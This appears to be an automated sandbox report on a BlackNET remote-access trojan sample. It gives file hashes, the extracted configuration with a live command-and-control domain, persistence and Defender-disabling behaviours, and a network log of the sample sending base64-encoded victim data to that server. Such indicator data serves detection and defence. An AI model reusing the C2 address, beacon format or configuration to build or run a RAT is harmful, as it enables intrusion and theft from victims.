Analysis

  • max time kernel
    36s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26-10-2024 15:38

General

  • Target

    40d7e7f441ca98fc629a154c25aa070d82fc201fef778bd1a56b8113846b1a77N.exe

  • Size

    70KB

  • MD5

    13163e09c1de56bb8403d94e4f817630

  • SHA1

    fe5eb5d3b98cb44b6f95ed061f96151486f5a015

  • SHA256

    40d7e7f441ca98fc629a154c25aa070d82fc201fef778bd1a56b8113846b1a77

  • SHA512

    aba1cca149fe82dfe8af6bab3ae5627f3859fae9dc6ad0a419b83f7992232785fe5a408acbbf5a6fdf225a5200055df50a26bc89ee898ed21fd13697319c53b5

  • SSDEEP

    1536:gFTnqpKxynVYGeifCSzTPb542HkLbvJfxa:gFTNGeifrvb59H+bvJ5a

Malware Config

Extracted

Family

blacknet

Botnet

HacKed

C2

https://lovegunny.net

Mutex

BN[tuFcXBCi-9342877]

Attributes
  • antivm

    true

  • elevate_uac

    false

  • install_name

    WindowsUpdate.exe

  • splitter

    |BN|

  • start_name

    2965b7eabf9eb6ce83de7d2260ab71ba

  • startup

    true

  • usb_spread

    true

Signatures

  • BlackNET

    BlackNET is an open source remote access tool written in VB.NET.

  • BlackNET payload 1 IoCs
  • Blacknet family
  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\40d7e7f441ca98fc629a154c25aa070d82fc201fef778bd1a56b8113846b1a77N.exe
    "C:\Users\Admin\AppData\Local\Temp\40d7e7f441ca98fc629a154c25aa070d82fc201fef778bd1a56b8113846b1a77N.exe"
    1⤵
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1828
    • C:\Users\Admin\AppData\Local\Temp\Microsoft\MyClient\WindowsUpdate.exe
      "C:\Users\Admin\AppData\Local\Temp\Microsoft\MyClient\WindowsUpdate.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      PID:2680

Network

  • flag-us
    DNS
    lovegunny.net
    WindowsUpdate.exe
    Remote address:
    8.8.8.8:53
    Request
    lovegunny.net
    IN A
    Response
    lovegunny.net
    IN A
    103.27.237.159
  • flag-vn
    GET
    https://lovegunny.net/?data=SGFjS2VkXzREQjMxOTA4fEJOfFVQTkVDVklVfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg==
    40d7e7f441ca98fc629a154c25aa070d82fc201fef778bd1a56b8113846b1a77N.exe
    Remote address:
    103.27.237.159:443
    Request
    GET /?data=SGFjS2VkXzREQjMxOTA4fEJOfFVQTkVDVklVfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg== HTTP/1.1
    Host: lovegunny.net
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Type: text/html; charset=utf-8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Server: Microsoft-IIS/10.0
    X-Powered-By: PHP/7.4.12
    Set-Cookie: PHPSESSID=75vifuj661ns25f2phv4opc9b0; path=/
    X-Powered-By: ASP.NET
    Access-Control-Allow-Origin: http://localhost:3000
    Access-Control-Allow-Headers: Content-Type
    Access-Control-Allow-Credentials: true
    Date: Sat, 26 Oct 2024 15:38:25 GMT
    Content-Length: 18665
  • flag-vn
    GET
    https://lovegunny.net/?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4
    40d7e7f441ca98fc629a154c25aa070d82fc201fef778bd1a56b8113846b1a77N.exe
    Remote address:
    103.27.237.159:443
    Request
    GET /?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4 HTTP/1.1
    Host: lovegunny.net
    Response
    HTTP/1.1 200 OK
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Type: text/html; charset=utf-8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Server: Microsoft-IIS/10.0
    X-Powered-By: PHP/7.4.12
    Set-Cookie: PHPSESSID=53lluo6dbu9t9m3tt4qk9dnsbm; path=/
    X-Powered-By: ASP.NET
    Access-Control-Allow-Origin: http://localhost:3000
    Access-Control-Allow-Headers: Content-Type
    Access-Control-Allow-Credentials: true
    Date: Sat, 26 Oct 2024 15:38:26 GMT
    Content-Length: 18666
  • flag-vn
    GET
    https://lovegunny.net/?id=SGFjS2VkXzREQjMxOTA4
    40d7e7f441ca98fc629a154c25aa070d82fc201fef778bd1a56b8113846b1a77N.exe
    Remote address:
    103.27.237.159:443
    Request
    GET /?id=SGFjS2VkXzREQjMxOTA4 HTTP/1.1
    Host: lovegunny.net
    Response
    HTTP/1.1 200 OK
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Type: text/html; charset=utf-8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Server: Microsoft-IIS/10.0
    X-Powered-By: PHP/7.4.12
    Set-Cookie: PHPSESSID=abe6n32kf2s0t2colcemk3j8t8; path=/
    X-Powered-By: ASP.NET
    Access-Control-Allow-Origin: http://localhost:3000
    Access-Control-Allow-Headers: Content-Type
    Access-Control-Allow-Credentials: true
    Date: Sat, 26 Oct 2024 15:38:26 GMT
    Content-Length: 18666
  • flag-vn
    GET
    https://lovegunny.net/?data=SGFjS2VkXzREQjMxOTA4fEJOfFVQTkVDVklVfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg==
    WindowsUpdate.exe
    Remote address:
    103.27.237.159:443
    Request
    GET /?data=SGFjS2VkXzREQjMxOTA4fEJOfFVQTkVDVklVfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg== HTTP/1.1
    Host: lovegunny.net
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Type: text/html; charset=utf-8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Server: Microsoft-IIS/10.0
    X-Powered-By: PHP/7.4.12
    Set-Cookie: PHPSESSID=3u5rv2d5q5qf6h9i2pgv6o8nnr; path=/
    X-Powered-By: ASP.NET
    Access-Control-Allow-Origin: http://localhost:3000
    Access-Control-Allow-Headers: Content-Type
    Access-Control-Allow-Credentials: true
    Date: Sat, 26 Oct 2024 15:38:35 GMT
    Content-Length: 18665
  • flag-vn
    GET
    https://lovegunny.net/?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4
    WindowsUpdate.exe
    Remote address:
    103.27.237.159:443
    Request
    GET /?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4 HTTP/1.1
    Host: lovegunny.net
    Response
    HTTP/1.1 200 OK
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Type: text/html; charset=utf-8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Server: Microsoft-IIS/10.0
    X-Powered-By: PHP/7.4.12
    Set-Cookie: PHPSESSID=79eakn4eu22bkoi4jbh3tbla8e; path=/
    X-Powered-By: ASP.NET
    Access-Control-Allow-Origin: http://localhost:3000
    Access-Control-Allow-Headers: Content-Type
    Access-Control-Allow-Credentials: true
    Date: Sat, 26 Oct 2024 15:38:36 GMT
    Content-Length: 18666
  • flag-vn
    GET
    https://lovegunny.net/?id=SGFjS2VkXzREQjMxOTA4
    WindowsUpdate.exe
    Remote address:
    103.27.237.159:443
    Request
    GET /?id=SGFjS2VkXzREQjMxOTA4 HTTP/1.1
    Host: lovegunny.net
    Response
    HTTP/1.1 200 OK
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Type: text/html; charset=utf-8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Server: Microsoft-IIS/10.0
    X-Powered-By: PHP/7.4.12
    Set-Cookie: PHPSESSID=an3t755t6jnbci0gc1n0beialu; path=/
    X-Powered-By: ASP.NET
    Access-Control-Allow-Origin: http://localhost:3000
    Access-Control-Allow-Headers: Content-Type
    Access-Control-Allow-Credentials: true
    Date: Sat, 26 Oct 2024 15:38:36 GMT
    Content-Length: 18665
  • flag-vn
    GET
    https://lovegunny.net/?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4
    WindowsUpdate.exe
    Remote address:
    103.27.237.159:443
    Request
    GET /?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4 HTTP/1.1
    Host: lovegunny.net
    Response
    HTTP/1.1 200 OK
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Content-Type: text/html; charset=utf-8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Server: Microsoft-IIS/10.0
    X-Powered-By: PHP/7.4.12
    Set-Cookie: PHPSESSID=k6ekc0a3ghdu4qpa214lkpoqe2; path=/
    X-Powered-By: ASP.NET
    Access-Control-Allow-Origin: http://localhost:3000
    Access-Control-Allow-Headers: Content-Type
    Access-Control-Allow-Credentials: true
    Date: Sat, 26 Oct 2024 15:38:37 GMT
    Content-Length: 18665
  • 103.27.237.159:443
    https://lovegunny.net/?id=SGFjS2VkXzREQjMxOTA4
    tls, http
    40d7e7f441ca98fc629a154c25aa070d82fc201fef778bd1a56b8113846b1a77N.exe
    2.2kB
    63.7kB
    33
    53

    HTTP Request

    GET https://lovegunny.net/?data=SGFjS2VkXzREQjMxOTA4fEJOfFVQTkVDVklVfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg==

    HTTP Response

    200

    HTTP Request

    GET https://lovegunny.net/?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4

    HTTP Response

    200

    HTTP Request

    GET https://lovegunny.net/?id=SGFjS2VkXzREQjMxOTA4

    HTTP Response

    200
  • 103.27.237.159:443
    https://lovegunny.net/?id=SGFjS2VkXzREQjMxOTA4
    tls, http
    WindowsUpdate.exe
    2.2kB
    63.8kB
    32
    54

    HTTP Request

    GET https://lovegunny.net/?data=SGFjS2VkXzREQjMxOTA4fEJOfFVQTkVDVklVfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg==

    HTTP Response

    200

    HTTP Request

    GET https://lovegunny.net/?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4

    HTTP Response

    200

    HTTP Request

    GET https://lovegunny.net/?id=SGFjS2VkXzREQjMxOTA4

    HTTP Response

    200
  • 103.27.237.159:443
    https://lovegunny.net/?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4
    tls, http
    WindowsUpdate.exe
    1.2kB
    23.9kB
    17
    22

    HTTP Request

    GET https://lovegunny.net/?command=T25saW5l&vicID=SGFjS2VkXzREQjMxOTA4

    HTTP Response

    200
  • 8.8.8.8:53
    lovegunny.net
    dns
    WindowsUpdate.exe
    59 B
    75 B
    1
    1

    DNS Request

    lovegunny.net

    DNS Response

    103.27.237.159

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabD0B9.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Microsoft\MyClient\WindowsUpdate.exe

    Filesize

    70KB

    MD5

    13163e09c1de56bb8403d94e4f817630

    SHA1

    fe5eb5d3b98cb44b6f95ed061f96151486f5a015

    SHA256

    40d7e7f441ca98fc629a154c25aa070d82fc201fef778bd1a56b8113846b1a77

    SHA512

    aba1cca149fe82dfe8af6bab3ae5627f3859fae9dc6ad0a419b83f7992232785fe5a408acbbf5a6fdf225a5200055df50a26bc89ee898ed21fd13697319c53b5

  • C:\Users\Admin\AppData\Local\Temp\TarD0EB.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/1828-46-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-1-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-2-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-41-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-40-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-42-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-43-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-44-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-45-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-48-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-47-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-0-0x000007FEF551E000-0x000007FEF551F000-memory.dmp

    Filesize

    4KB

  • memory/1828-49-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-3-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-50-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-66-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-59-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-58-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-57-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-62-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-65-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-61-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/1828-64-0x000007FEF551E000-0x000007FEF551F000-memory.dmp

    Filesize

    4KB

  • memory/2680-63-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2680-60-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2680-67-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2680-68-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2680-69-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.